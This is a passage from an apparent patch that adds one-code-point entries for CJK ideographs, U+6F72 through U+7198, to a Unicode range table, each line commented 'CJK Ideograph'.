+ [0x6f72, 0x6f72], /* CJK Ideograph */
+ [0x6f73, 0x6f73], /* CJK Ideograph */
+ [0x6f74, 0x6f74], /* CJK Ideograph */
+ [0x6f75, 0x6f75], /* CJK Ideograph */
+ [0x6f76, 0x6f76], /* CJK Ideograph */
+ [0x6f77, 0x6f77], /* CJK Ideograph */
+ [0x6f78, 0x6f78], /* CJK Ideograph */
+ [0x6f79, 0x6f79], /* CJK Ideograph */
+ [0x6f7a, 0x6f7a], /* CJK Ideograph */
+ [0x6f7b, 0x6f7b], /* CJK Ideograph */
+ [0x6f7c, 0x6f7c], /* CJK Ideograph */
+ [0x6f7d, 0x6f7d], /* CJK Ideograph */
+ [0x6f7e, 0x6f7e], /* CJK Ideograph */
+ [0x6f7f, 0x6f7f], /* CJK Ideograph */
+ [0x6f80, 0x6f80], /* CJK Ideograph */
+ [0x6f81, 0x6f81], /* CJK Ideograph */
+ [0x6f82, 0x6f82], /* CJK Ideograph */
+ [0x6f83, 0x6f83], /* CJK Ideograph */
+ [0x6f84, 0x6f84], /* CJK Ideograph */
+ [0x6f85, 0x6f85], /* CJK Ideograph */
+ [0x6f86, 0x6f86], /* CJK Ideograph */
+ [0x6f87, 0x6f87], /* CJK Ideograph */
+ [0x6f88, 0x6f88], /* CJK Ideograph */
+ [0x6f89, 0x6f89], /* CJK Ideograph */
+ [0x6f8a, 0x6f8a], /* CJK Ideograph */
+ [0x6f8b, 0x6f8b], /* CJK Ideograph */
+ [0x6f8c, 0x6f8c], /* CJK Ideograph */
+ [0x6f8d, 0x6f8d], /* CJK Ideograph */
+ [0x6f8e, 0x6f8e], /* CJK Ideograph */
+ [0x6f8f, 0x6f8f], /* CJK Ideograph */
+ [0x6f90, 0x6f90], /* CJK Ideograph */
+ [0x6f91, 0x6f91], /* CJK Ideograph */
+ [0x6f92, 0x6f92], /* CJK Ideograph */
+ [0x6f93, 0x6f93], /* CJK Ideograph */
+ [0x6f94, 0x6f94], /* CJK Ideograph */
+ [0x6f95, 0x6f95], /* CJK Ideograph */
+ [0x6f96, 0x6f96], /* CJK Ideograph */
+ [0x6f97, 0x6f97], /* CJK Ideograph */
+ [0x6f98, 0x6f98], /* CJK Ideograph */
+ [0x6f99, 0x6f99], /* CJK Ideograph */
+ [0x6f9a, 0x6f9a], /* CJK Ideograph */
+ [0x6f9b, 0x6f9b], /* CJK Ideograph */
+ [0x6f9c, 0x6f9c], /* CJK Ideograph */
+ [0x6f9d, 0x6f9d], /* CJK Ideograph */
+ [0x6f9e, 0x6f9e], /* CJK Ideograph */
+ [0x6f9f, 0x6f9f], /* CJK Ideograph */
+ [0x6fa0, 0x6fa0], /* CJK Ideograph */
+ [0x6fa1, 0x6fa1], /* CJK Ideograph */
+ [0x6fa2, 0x6fa2], /* CJK Ideograph */
+ [0x6fa3, 0x6fa3], /* CJK Ideograph */
+ [0x6fa4, 0x6fa4], /* CJK Ideograph */
+ [0x6fa5, 0x6fa5], /* CJK Ideograph */
+ [0x6fa6, 0x6fa6], /* CJK Ideograph */
+ [0x6fa7, 0x6fa7], /* CJK Ideograph */
+ [0x6fa8, 0x6fa8], /* CJK Ideograph */
+ [0x6fa9, 0x6fa9], /* CJK Ideograph */
+ [0x6faa, 0x6faa], /* CJK Ideograph */
+ [0x6fab, 0x6fab], /* CJK Ideograph */
+ [0x6fac, 0x6fac], /* CJK Ideograph */
+ [0x6fad, 0x6fad], /* CJK Ideograph */
+ [0x6fae, 0x6fae], /* CJK Ideograph */
+ [0x6faf, 0x6faf], /* CJK Ideograph */
+ [0x6fb0, 0x6fb0], /* CJK Ideograph */
+ [0x6fb1, 0x6fb1], /* CJK Ideograph */
+ [0x6fb2, 0x6fb2], /* CJK Ideograph */
+ [0x6fb3, 0x6fb3], /* CJK Ideograph */
+ [0x6fb4, 0x6fb4], /* CJK Ideograph */
+ [0x6fb5, 0x6fb5], /* CJK Ideograph */
+ [0x6fb6, 0x6fb6], /* CJK Ideograph */
+ [0x6fb7, 0x6fb7], /* CJK Ideograph */
+ [0x6fb8, 0x6fb8], /* CJK Ideograph */
+ [0x6fb9, 0x6fb9], /* CJK Ideograph */
+ [0x6fba, 0x6fba], /* CJK Ideograph */
+ [0x6fbb, 0x6fbb], /* CJK Ideograph */
+ [0x6fbc, 0x6fbc], /* CJK Ideograph */
+ [0x6fbd, 0x6fbd], /* CJK Ideograph */
+ [0x6fbe, 0x6fbe], /* CJK Ideograph */
+ [0x6fbf, 0x6fbf], /* CJK Ideograph */
+ [0x6fc0, 0x6fc0], /* CJK Ideograph */
+ [0x6fc1, 0x6fc1], /* CJK Ideograph */
+ [0x6fc2, 0x6fc2], /* CJK Ideograph */
+ [0x6fc3, 0x6fc3], /* CJK Ideograph */
+ [0x6fc4, 0x6fc4], /* CJK Ideograph */
+ [0x6fc5, 0x6fc5], /* CJK Ideograph */
+ [0x6fc6, 0x6fc6], /* CJK Ideograph */
+ [0x6fc7, 0x6fc7], /* CJK Ideograph */
+ [0x6fc8, 0x6fc8], /* CJK Ideograph */
+ [0x6fc9, 0x6fc9], /* CJK Ideograph */
+ [0x6fca, 0x6fca], /* CJK Ideograph */
+ [0x6fcb, 0x6fcb], /* CJK Ideograph */
+ [0x6fcc, 0x6fcc], /* CJK Ideograph */
+ [0x6fcd, 0x6fcd], /* CJK Ideograph */
+ [0x6fce, 0x6fce], /* CJK Ideograph */
+ [0x6fcf, 0x6fcf], /* CJK Ideograph */
+ [0x6fd0, 0x6fd0], /* CJK Ideograph */
+ [0x6fd1, 0x6fd1], /* CJK Ideograph */
+ [0x6fd2, 0x6fd2], /* CJK Ideograph */
+ [0x6fd3, 0x6fd3], /* CJK Ideograph */
+ [0x6fd4, 0x6fd4], /* CJK Ideograph */
+ [0x6fd5, 0x6fd5], /* CJK Ideograph */
+ [0x6fd6, 0x6fd6], /* CJK Ideograph */
+ [0x6fd7, 0x6fd7], /* CJK Ideograph */
+ [0x6fd8, 0x6fd8], /* CJK Ideograph */
+ [0x6fd9, 0x6fd9], /* CJK Ideograph */
+ [0x6fda, 0x6fda], /* CJK Ideograph */
+ [0x6fdb, 0x6fdb], /* CJK Ideograph */
+ [0x6fdc, 0x6fdc], /* CJK Ideograph */
+ [0x6fdd, 0x6fdd], /* CJK Ideograph */
+ [0x6fde, 0x6fde], /* CJK Ideograph */
+ [0x6fdf, 0x6fdf], /* CJK Ideograph */
+ [0x6fe0, 0x6fe0], /* CJK Ideograph */
+ [0x6fe1, 0x6fe1], /* CJK Ideograph */
+ [0x6fe2, 0x6fe2], /* CJK Ideograph */
+ [0x6fe3, 0x6fe3], /* CJK Ideograph */
+ [0x6fe4, 0x6fe4], /* CJK Ideograph */
+ [0x6fe5, 0x6fe5], /* CJK Ideograph */
+ [0x6fe6, 0x6fe6], /* CJK Ideograph */
+ [0x6fe7, 0x6fe7], /* CJK Ideograph */
+ [0x6fe8, 0x6fe8], /* CJK Ideograph */
+ [0x6fe9, 0x6fe9], /* CJK Ideograph */
+ [0x6fea, 0x6fea], /* CJK Ideograph */
+ [0x6feb, 0x6feb], /* CJK Ideograph */
+ [0x6fec, 0x6fec], /* CJK Ideograph */
+ [0x6fed, 0x6fed], /* CJK Ideograph */
+ [0x6fee, 0x6fee], /* CJK Ideograph */
+ [0x6fef, 0x6fef], /* CJK Ideograph */
+ [0x6ff0, 0x6ff0], /* CJK Ideograph */
+ [0x6ff1, 0x6ff1], /* CJK Ideograph */
+ [0x6ff2, 0x6ff2], /* CJK Ideograph */
+ [0x6ff3, 0x6ff3], /* CJK Ideograph */
+ [0x6ff4, 0x6ff4], /* CJK Ideograph */
+ [0x6ff5, 0x6ff5], /* CJK Ideograph */
+ [0x6ff6, 0x6ff6], /* CJK Ideograph */
+ [0x6ff7, 0x6ff7], /* CJK Ideograph */
+ [0x6ff8, 0x6ff8], /* CJK Ideograph */
+ [0x6ff9, 0x6ff9], /* CJK Ideograph */
+ [0x6ffa, 0x6ffa], /* CJK Ideograph */
+ [0x6ffb, 0x6ffb], /* CJK Ideograph */
+ [0x6ffc, 0x6ffc], /* CJK Ideograph */
+ [0x6ffd, 0x6ffd], /* CJK Ideograph */
+ [0x6ffe, 0x6ffe], /* CJK Ideograph */
+ [0x6fff, 0x6fff], /* CJK Ideograph */
+ [0x7000, 0x7000], /* CJK Ideograph */
+ [0x7001, 0x7001], /* CJK Ideograph */
+ [0x7002, 0x7002], /* CJK Ideograph */
+ [0x7003, 0x7003], /* CJK Ideograph */
+ [0x7004, 0x7004], /* CJK Ideograph */
+ [0x7005, 0x7005], /* CJK Ideograph */
+ [0x7006, 0x7006], /* CJK Ideograph */
+ [0x7007, 0x7007], /* CJK Ideograph */
+ [0x7008, 0x7008], /* CJK Ideograph */
+ [0x7009, 0x7009], /* CJK Ideograph */
+ [0x700a, 0x700a], /* CJK Ideograph */
+ [0x700b, 0x700b], /* CJK Ideograph */
+ [0x700c, 0x700c], /* CJK Ideograph */
+ [0x700d, 0x700d], /* CJK Ideograph */
+ [0x700e, 0x700e], /* CJK Ideograph */
+ [0x700f, 0x700f], /* CJK Ideograph */
+ [0x7010, 0x7010], /* CJK Ideograph */
+ [0x7011, 0x7011], /* CJK Ideograph */
+ [0x7012, 0x7012], /* CJK Ideograph */
+ [0x7013, 0x7013], /* CJK Ideograph */
+ [0x7014, 0x7014], /* CJK Ideograph */
+ [0x7015, 0x7015], /* CJK Ideograph */
+ [0x7016, 0x7016], /* CJK Ideograph */
+ [0x7017, 0x7017], /* CJK Ideograph */
+ [0x7018, 0x7018], /* CJK Ideograph */
+ [0x7019, 0x7019], /* CJK Ideograph */
+ [0x701a, 0x701a], /* CJK Ideograph */
+ [0x701b, 0x701b], /* CJK Ideograph */
+ [0x701c, 0x701c], /* CJK Ideograph */
+ [0x701d, 0x701d], /* CJK Ideograph */
+ [0x701e, 0x701e], /* CJK Ideograph */
+ [0x701f, 0x701f], /* CJK Ideograph */
+ [0x7020, 0x7020], /* CJK Ideograph */
+ [0x7021, 0x7021], /* CJK Ideograph */
+ [0x7022, 0x7022], /* CJK Ideograph */
+ [0x7023, 0x7023], /* CJK Ideograph */
+ [0x7024, 0x7024], /* CJK Ideograph */
+ [0x7025, 0x7025], /* CJK Ideograph */
+ [0x7026, 0x7026], /* CJK Ideograph */
+ [0x7027, 0x7027], /* CJK Ideograph */
+ [0x7028, 0x7028], /* CJK Ideograph */
+ [0x7029, 0x7029], /* CJK Ideograph */
+ [0x702a, 0x702a], /* CJK Ideograph */
+ [0x702b, 0x702b], /* CJK Ideograph */
+ [0x702c, 0x702c], /* CJK Ideograph */
+ [0x702d, 0x702d], /* CJK Ideograph */
+ [0x702e, 0x702e], /* CJK Ideograph */
+ [0x702f, 0x702f], /* CJK Ideograph */
+ [0x7030, 0x7030], /* CJK Ideograph */
+ [0x7031, 0x7031], /* CJK Ideograph */
+ [0x7032, 0x7032], /* CJK Ideograph */
+ [0x7033, 0x7033], /* CJK Ideograph */
+ [0x7034, 0x7034], /* CJK Ideograph */
+ [0x7035, 0x7035], /* CJK Ideograph */
+ [0x7036, 0x7036], /* CJK Ideograph */
+ [0x7037, 0x7037], /* CJK Ideograph */
+ [0x7038, 0x7038], /* CJK Ideograph */
+ [0x7039, 0x7039], /* CJK Ideograph */
+ [0x703a, 0x703a], /* CJK Ideograph */
+ [0x703b, 0x703b], /* CJK Ideograph */
+ [0x703c, 0x703c], /* CJK Ideograph */
+ [0x703d, 0x703d], /* CJK Ideograph */
+ [0x703e, 0x703e], /* CJK Ideograph */
+ [0x703f, 0x703f], /* CJK Ideograph */
+ [0x7040, 0x7040], /* CJK Ideograph */
+ [0x7041, 0x7041], /* CJK Ideograph */
+ [0x7042, 0x7042], /* CJK Ideograph */
+ [0x7043, 0x7043], /* CJK Ideograph */
+ [0x7044, 0x7044], /* CJK Ideograph */
+ [0x7045, 0x7045], /* CJK Ideograph */
+ [0x7046, 0x7046], /* CJK Ideograph */
+ [0x7047, 0x7047], /* CJK Ideograph */
+ [0x7048, 0x7048], /* CJK Ideograph */
+ [0x7049, 0x7049], /* CJK Ideograph */
+ [0x704a, 0x704a], /* CJK Ideograph */
+ [0x704b, 0x704b], /* CJK Ideograph */
+ [0x704c, 0x704c], /* CJK Ideograph */
+ [0x704d, 0x704d], /* CJK Ideograph */
+ [0x704e, 0x704e], /* CJK Ideograph */
+ [0x704f, 0x704f], /* CJK Ideograph */
+ [0x7050, 0x7050], /* CJK Ideograph */
+ [0x7051, 0x7051], /* CJK Ideograph */
+ [0x7052, 0x7052], /* CJK Ideograph */
+ [0x7053, 0x7053], /* CJK Ideograph */
+ [0x7054, 0x7054], /* CJK Ideograph */
+ [0x7055, 0x7055], /* CJK Ideograph */
+ [0x7056, 0x7056], /* CJK Ideograph */
+ [0x7057, 0x7057], /* CJK Ideograph */
+ [0x7058, 0x7058], /* CJK Ideograph */
+ [0x7059, 0x7059], /* CJK Ideograph */
+ [0x705a, 0x705a], /* CJK Ideograph */
+ [0x705b, 0x705b], /* CJK Ideograph */
+ [0x705c, 0x705c], /* CJK Ideograph */
+ [0x705d, 0x705d], /* CJK Ideograph */
+ [0x705e, 0x705e], /* CJK Ideograph */
+ [0x705f, 0x705f], /* CJK Ideograph */
+ [0x7060, 0x7060], /* CJK Ideograph */
+ [0x7061, 0x7061], /* CJK Ideograph */
+ [0x7062, 0x7062], /* CJK Ideograph */
+ [0x7063, 0x7063], /* CJK Ideograph */
+ [0x7064, 0x7064], /* CJK Ideograph */
+ [0x7065, 0x7065], /* CJK Ideograph */
+ [0x7066, 0x7066], /* CJK Ideograph */
+ [0x7067, 0x7067], /* CJK Ideograph */
+ [0x7068, 0x7068], /* CJK Ideograph */
+ [0x7069, 0x7069], /* CJK Ideograph */
+ [0x706a, 0x706a], /* CJK Ideograph */
+ [0x706b, 0x706b], /* CJK Ideograph */
+ [0x706c, 0x706c], /* CJK Ideograph */
+ [0x706d, 0x706d], /* CJK Ideograph */
+ [0x706e, 0x706e], /* CJK Ideograph */
+ [0x706f, 0x706f], /* CJK Ideograph */
+ [0x7070, 0x7070], /* CJK Ideograph */
+ [0x7071, 0x7071], /* CJK Ideograph */
+ [0x7072, 0x7072], /* CJK Ideograph */
+ [0x7073, 0x7073], /* CJK Ideograph */
+ [0x7074, 0x7074], /* CJK Ideograph */
+ [0x7075, 0x7075], /* CJK Ideograph */
+ [0x7076, 0x7076], /* CJK Ideograph */
+ [0x7077, 0x7077], /* CJK Ideograph */
+ [0x7078, 0x7078], /* CJK Ideograph */
+ [0x7079, 0x7079], /* CJK Ideograph */
+ [0x707a, 0x707a], /* CJK Ideograph */
+ [0x707b, 0x707b], /* CJK Ideograph */
+ [0x707c, 0x707c], /* CJK Ideograph */
+ [0x707d, 0x707d], /* CJK Ideograph */
+ [0x707e, 0x707e], /* CJK Ideograph */
+ [0x707f, 0x707f], /* CJK Ideograph */
+ [0x7080, 0x7080], /* CJK Ideograph */
+ [0x7081, 0x7081], /* CJK Ideograph */
+ [0x7082, 0x7082], /* CJK Ideograph */
+ [0x7083, 0x7083], /* CJK Ideograph */
+ [0x7084, 0x7084], /* CJK Ideograph */
+ [0x7085, 0x7085], /* CJK Ideograph */
+ [0x7086, 0x7086], /* CJK Ideograph */
+ [0x7087, 0x7087], /* CJK Ideograph */
+ [0x7088, 0x7088], /* CJK Ideograph */
+ [0x7089, 0x7089], /* CJK Ideograph */
+ [0x708a, 0x708a], /* CJK Ideograph */
+ [0x708b, 0x708b], /* CJK Ideograph */
+ [0x708c, 0x708c], /* CJK Ideograph */
+ [0x708d, 0x708d], /* CJK Ideograph */
+ [0x708e, 0x708e], /* CJK Ideograph */
+ [0x708f, 0x708f], /* CJK Ideograph */
+ [0x7090, 0x7090], /* CJK Ideograph */
+ [0x7091, 0x7091], /* CJK Ideograph */
+ [0x7092, 0x7092], /* CJK Ideograph */
+ [0x7093, 0x7093], /* CJK Ideograph */
+ [0x7094, 0x7094], /* CJK Ideograph */
+ [0x7095, 0x7095], /* CJK Ideograph */
+ [0x7096, 0x7096], /* CJK Ideograph */
+ [0x7097, 0x7097], /* CJK Ideograph */
+ [0x7098, 0x7098], /* CJK Ideograph */
+ [0x7099, 0x7099], /* CJK Ideograph */
+ [0x709a, 0x709a], /* CJK Ideograph */
+ [0x709b, 0x709b], /* CJK Ideograph */
+ [0x709c, 0x709c], /* CJK Ideograph */
+ [0x709d, 0x709d], /* CJK Ideograph */
+ [0x709e, 0x709e], /* CJK Ideograph */
+ [0x709f, 0x709f], /* CJK Ideograph */
+ [0x70a0, 0x70a0], /* CJK Ideograph */
+ [0x70a1, 0x70a1], /* CJK Ideograph */
+ [0x70a2, 0x70a2], /* CJK Ideograph */
+ [0x70a3, 0x70a3], /* CJK Ideograph */
+ [0x70a4, 0x70a4], /* CJK Ideograph */
+ [0x70a5, 0x70a5], /* CJK Ideograph */
+ [0x70a6, 0x70a6], /* CJK Ideograph */
+ [0x70a7, 0x70a7], /* CJK Ideograph */
+ [0x70a8, 0x70a8], /* CJK Ideograph */
+ [0x70a9, 0x70a9], /* CJK Ideograph */
+ [0x70aa, 0x70aa], /* CJK Ideograph */
+ [0x70ab, 0x70ab], /* CJK Ideograph */
+ [0x70ac, 0x70ac], /* CJK Ideograph */
+ [0x70ad, 0x70ad], /* CJK Ideograph */
+ [0x70ae, 0x70ae], /* CJK Ideograph */
+ [0x70af, 0x70af], /* CJK Ideograph */
+ [0x70b0, 0x70b0], /* CJK Ideograph */
+ [0x70b1, 0x70b1], /* CJK Ideograph */
+ [0x70b2, 0x70b2], /* CJK Ideograph */
+ [0x70b3, 0x70b3], /* CJK Ideograph */
+ [0x70b4, 0x70b4], /* CJK Ideograph */
+ [0x70b5, 0x70b5], /* CJK Ideograph */
+ [0x70b6, 0x70b6], /* CJK Ideograph */
+ [0x70b7, 0x70b7], /* CJK Ideograph */
+ [0x70b8, 0x70b8], /* CJK Ideograph */
+ [0x70b9, 0x70b9], /* CJK Ideograph */
+ [0x70ba, 0x70ba], /* CJK Ideograph */
+ [0x70bb, 0x70bb], /* CJK Ideograph */
+ [0x70bc, 0x70bc], /* CJK Ideograph */
+ [0x70bd, 0x70bd], /* CJK Ideograph */
+ [0x70be, 0x70be], /* CJK Ideograph */
+ [0x70bf, 0x70bf], /* CJK Ideograph */
+ [0x70c0, 0x70c0], /* CJK Ideograph */
+ [0x70c1, 0x70c1], /* CJK Ideograph */
+ [0x70c2, 0x70c2], /* CJK Ideograph */
+ [0x70c3, 0x70c3], /* CJK Ideograph */
+ [0x70c4, 0x70c4], /* CJK Ideograph */
+ [0x70c5, 0x70c5], /* CJK Ideograph */
+ [0x70c6, 0x70c6], /* CJK Ideograph */
+ [0x70c7, 0x70c7], /* CJK Ideograph */
+ [0x70c8, 0x70c8], /* CJK Ideograph */
+ [0x70c9, 0x70c9], /* CJK Ideograph */
+ [0x70ca, 0x70ca], /* CJK Ideograph */
+ [0x70cb, 0x70cb], /* CJK Ideograph */
+ [0x70cc, 0x70cc], /* CJK Ideograph */
+ [0x70cd, 0x70cd], /* CJK Ideograph */
+ [0x70ce, 0x70ce], /* CJK Ideograph */
+ [0x70cf, 0x70cf], /* CJK Ideograph */
+ [0x70d0, 0x70d0], /* CJK Ideograph */
+ [0x70d1, 0x70d1], /* CJK Ideograph */
+ [0x70d2, 0x70d2], /* CJK Ideograph */
+ [0x70d3, 0x70d3], /* CJK Ideograph */
+ [0x70d4, 0x70d4], /* CJK Ideograph */
+ [0x70d5, 0x70d5], /* CJK Ideograph */
+ [0x70d6, 0x70d6], /* CJK Ideograph */
+ [0x70d7, 0x70d7], /* CJK Ideograph */
+ [0x70d8, 0x70d8], /* CJK Ideograph */
+ [0x70d9, 0x70d9], /* CJK Ideograph */
+ [0x70da, 0x70da], /* CJK Ideograph */
+ [0x70db, 0x70db], /* CJK Ideograph */
+ [0x70dc, 0x70dc], /* CJK Ideograph */
+ [0x70dd, 0x70dd], /* CJK Ideograph */
+ [0x70de, 0x70de], /* CJK Ideograph */
+ [0x70df, 0x70df], /* CJK Ideograph */
+ [0x70e0, 0x70e0], /* CJK Ideograph */
+ [0x70e1, 0x70e1], /* CJK Ideograph */
+ [0x70e2, 0x70e2], /* CJK Ideograph */
+ [0x70e3, 0x70e3], /* CJK Ideograph */
+ [0x70e4, 0x70e4], /* CJK Ideograph */
+ [0x70e5, 0x70e5], /* CJK Ideograph */
+ [0x70e6, 0x70e6], /* CJK Ideograph */
+ [0x70e7, 0x70e7], /* CJK Ideograph */
+ [0x70e8, 0x70e8], /* CJK Ideograph */
+ [0x70e9, 0x70e9], /* CJK Ideograph */
+ [0x70ea, 0x70ea], /* CJK Ideograph */
+ [0x70eb, 0x70eb], /* CJK Ideograph */
+ [0x70ec, 0x70ec], /* CJK Ideograph */
+ [0x70ed, 0x70ed], /* CJK Ideograph */
+ [0x70ee, 0x70ee], /* CJK Ideograph */
+ [0x70ef, 0x70ef], /* CJK Ideograph */
+ [0x70f0, 0x70f0], /* CJK Ideograph */
+ [0x70f1, 0x70f1], /* CJK Ideograph */
+ [0x70f2, 0x70f2], /* CJK Ideograph */
+ [0x70f3, 0x70f3], /* CJK Ideograph */
+ [0x70f4, 0x70f4], /* CJK Ideograph */
+ [0x70f5, 0x70f5], /* CJK Ideograph */
+ [0x70f6, 0x70f6], /* CJK Ideograph */
+ [0x70f7, 0x70f7], /* CJK Ideograph */
+ [0x70f8, 0x70f8], /* CJK Ideograph */
+ [0x70f9, 0x70f9], /* CJK Ideograph */
+ [0x70fa, 0x70fa], /* CJK Ideograph */
+ [0x70fb, 0x70fb], /* CJK Ideograph */
+ [0x70fc, 0x70fc], /* CJK Ideograph */
+ [0x70fd, 0x70fd], /* CJK Ideograph */
+ [0x70fe, 0x70fe], /* CJK Ideograph */
+ [0x70ff, 0x70ff], /* CJK Ideograph */
+ [0x7100, 0x7100], /* CJK Ideograph */
+ [0x7101, 0x7101], /* CJK Ideograph */
+ [0x7102, 0x7102], /* CJK Ideograph */
+ [0x7103, 0x7103], /* CJK Ideograph */
+ [0x7104, 0x7104], /* CJK Ideograph */
+ [0x7105, 0x7105], /* CJK Ideograph */
+ [0x7106, 0x7106], /* CJK Ideograph */
+ [0x7107, 0x7107], /* CJK Ideograph */
+ [0x7108, 0x7108], /* CJK Ideograph */
+ [0x7109, 0x7109], /* CJK Ideograph */
+ [0x710a, 0x710a], /* CJK Ideograph */
+ [0x710b, 0x710b], /* CJK Ideograph */
+ [0x710c, 0x710c], /* CJK Ideograph */
+ [0x710d, 0x710d], /* CJK Ideograph */
+ [0x710e, 0x710e], /* CJK Ideograph */
+ [0x710f, 0x710f], /* CJK Ideograph */
+ [0x7110, 0x7110], /* CJK Ideograph */
+ [0x7111, 0x7111], /* CJK Ideograph */
+ [0x7112, 0x7112], /* CJK Ideograph */
+ [0x7113, 0x7113], /* CJK Ideograph */
+ [0x7114, 0x7114], /* CJK Ideograph */
+ [0x7115, 0x7115], /* CJK Ideograph */
+ [0x7116, 0x7116], /* CJK Ideograph */
+ [0x7117, 0x7117], /* CJK Ideograph */
+ [0x7118, 0x7118], /* CJK Ideograph */
+ [0x7119, 0x7119], /* CJK Ideograph */
+ [0x711a, 0x711a], /* CJK Ideograph */
+ [0x711b, 0x711b], /* CJK Ideograph */
+ [0x711c, 0x711c], /* CJK Ideograph */
+ [0x711d, 0x711d], /* CJK Ideograph */
+ [0x711e, 0x711e], /* CJK Ideograph */
+ [0x711f, 0x711f], /* CJK Ideograph */
+ [0x7120, 0x7120], /* CJK Ideograph */
+ [0x7121, 0x7121], /* CJK Ideograph */
+ [0x7122, 0x7122], /* CJK Ideograph */
+ [0x7123, 0x7123], /* CJK Ideograph */
+ [0x7124, 0x7124], /* CJK Ideograph */
+ [0x7125, 0x7125], /* CJK Ideograph */
+ [0x7126, 0x7126], /* CJK Ideograph */
+ [0x7127, 0x7127], /* CJK Ideograph */
+ [0x7128, 0x7128], /* CJK Ideograph */
+ [0x7129, 0x7129], /* CJK Ideograph */
+ [0x712a, 0x712a], /* CJK Ideograph */
+ [0x712b, 0x712b], /* CJK Ideograph */
+ [0x712c, 0x712c], /* CJK Ideograph */
+ [0x712d, 0x712d], /* CJK Ideograph */
+ [0x712e, 0x712e], /* CJK Ideograph */
+ [0x712f, 0x712f], /* CJK Ideograph */
+ [0x7130, 0x7130], /* CJK Ideograph */
+ [0x7131, 0x7131], /* CJK Ideograph */
+ [0x7132, 0x7132], /* CJK Ideograph */
+ [0x7133, 0x7133], /* CJK Ideograph */
+ [0x7134, 0x7134], /* CJK Ideograph */
+ [0x7135, 0x7135], /* CJK Ideograph */
+ [0x7136, 0x7136], /* CJK Ideograph */
+ [0x7137, 0x7137], /* CJK Ideograph */
+ [0x7138, 0x7138], /* CJK Ideograph */
+ [0x7139, 0x7139], /* CJK Ideograph */
+ [0x713a, 0x713a], /* CJK Ideograph */
+ [0x713b, 0x713b], /* CJK Ideograph */
+ [0x713c, 0x713c], /* CJK Ideograph */
+ [0x713d, 0x713d], /* CJK Ideograph */
+ [0x713e, 0x713e], /* CJK Ideograph */
+ [0x713f, 0x713f], /* CJK Ideograph */
+ [0x7140, 0x7140], /* CJK Ideograph */
+ [0x7141, 0x7141], /* CJK Ideograph */
+ [0x7142, 0x7142], /* CJK Ideograph */
+ [0x7143, 0x7143], /* CJK Ideograph */
+ [0x7144, 0x7144], /* CJK Ideograph */
+ [0x7145, 0x7145], /* CJK Ideograph */
+ [0x7146, 0x7146], /* CJK Ideograph */
+ [0x7147, 0x7147], /* CJK Ideograph */
+ [0x7148, 0x7148], /* CJK Ideograph */
+ [0x7149, 0x7149], /* CJK Ideograph */
+ [0x714a, 0x714a], /* CJK Ideograph */
+ [0x714b, 0x714b], /* CJK Ideograph */
+ [0x714c, 0x714c], /* CJK Ideograph */
+ [0x714d, 0x714d], /* CJK Ideograph */
+ [0x714e, 0x714e], /* CJK Ideograph */
+ [0x714f, 0x714f], /* CJK Ideograph */
+ [0x7150, 0x7150], /* CJK Ideograph */
+ [0x7151, 0x7151], /* CJK Ideograph */
+ [0x7152, 0x7152], /* CJK Ideograph */
+ [0x7153, 0x7153], /* CJK Ideograph */
+ [0x7154, 0x7154], /* CJK Ideograph */
+ [0x7155, 0x7155], /* CJK Ideograph */
+ [0x7156, 0x7156], /* CJK Ideograph */
+ [0x7157, 0x7157], /* CJK Ideograph */
+ [0x7158, 0x7158], /* CJK Ideograph */
+ [0x7159, 0x7159], /* CJK Ideograph */
+ [0x715a, 0x715a], /* CJK Ideograph */
+ [0x715b, 0x715b], /* CJK Ideograph */
+ [0x715c, 0x715c], /* CJK Ideograph */
+ [0x715d, 0x715d], /* CJK Ideograph */
+ [0x715e, 0x715e], /* CJK Ideograph */
+ [0x715f, 0x715f], /* CJK Ideograph */
+ [0x7160, 0x7160], /* CJK Ideograph */
+ [0x7161, 0x7161], /* CJK Ideograph */
+ [0x7162, 0x7162], /* CJK Ideograph */
+ [0x7163, 0x7163], /* CJK Ideograph */
+ [0x7164, 0x7164], /* CJK Ideograph */
+ [0x7165, 0x7165], /* CJK Ideograph */
+ [0x7166, 0x7166], /* CJK Ideograph */
+ [0x7167, 0x7167], /* CJK Ideograph */
+ [0x7168, 0x7168], /* CJK Ideograph */
+ [0x7169, 0x7169], /* CJK Ideograph */
+ [0x716a, 0x716a], /* CJK Ideograph */
+ [0x716b, 0x716b], /* CJK Ideograph */
+ [0x716c, 0x716c], /* CJK Ideograph */
+ [0x716d, 0x716d], /* CJK Ideograph */
+ [0x716e, 0x716e], /* CJK Ideograph */
+ [0x716f, 0x716f], /* CJK Ideograph */
+ [0x7170, 0x7170], /* CJK Ideograph */
+ [0x7171, 0x7171], /* CJK Ideograph */
+ [0x7172, 0x7172], /* CJK Ideograph */
+ [0x7173, 0x7173], /* CJK Ideograph */
+ [0x7174, 0x7174], /* CJK Ideograph */
+ [0x7175, 0x7175], /* CJK Ideograph */
+ [0x7176, 0x7176], /* CJK Ideograph */
+ [0x7177, 0x7177], /* CJK Ideograph */
+ [0x7178, 0x7178], /* CJK Ideograph */
+ [0x7179, 0x7179], /* CJK Ideograph */
+ [0x717a, 0x717a], /* CJK Ideograph */
+ [0x717b, 0x717b], /* CJK Ideograph */
+ [0x717c, 0x717c], /* CJK Ideograph */
+ [0x717d, 0x717d], /* CJK Ideograph */
+ [0x717e, 0x717e], /* CJK Ideograph */
+ [0x717f, 0x717f], /* CJK Ideograph */
+ [0x7180, 0x7180], /* CJK Ideograph */
+ [0x7181, 0x7181], /* CJK Ideograph */
+ [0x7182, 0x7182], /* CJK Ideograph */
+ [0x7183, 0x7183], /* CJK Ideograph */
+ [0x7184, 0x7184], /* CJK Ideograph */
+ [0x7185, 0x7185], /* CJK Ideograph */
+ [0x7186, 0x7186], /* CJK Ideograph */
+ [0x7187, 0x7187], /* CJK Ideograph */
+ [0x7188, 0x7188], /* CJK Ideograph */
+ [0x7189, 0x7189], /* CJK Ideograph */
+ [0x718a, 0x718a], /* CJK Ideograph */
+ [0x718b, 0x718b], /* CJK Ideograph */
+ [0x718c, 0x718c], /* CJK Ideograph */
+ [0x718d, 0x718d], /* CJK Ideograph */
+ [0x718e, 0x718e], /* CJK Ideograph */
+ [0x718f, 0x718f], /* CJK Ideograph */
+ [0x7190, 0x7190], /* CJK Ideograph */
+ [0x7191, 0x7191], /* CJK Ideograph */
+ [0x7192, 0x7192], /* CJK Ideograph */
+ [0x7193, 0x7193], /* CJK Ideograph */
+ [0x7194, 0x7194], /* CJK Ideograph */
+ [0x7195, 0x7195], /* CJK Ideograph */
+ [0x7196, 0x7196], /* CJK Ideograph */
+ [0x7197, 0x7197], /* CJK Ideograph */
+ [0x7198, 0x7198], /* CJK Ideograph */
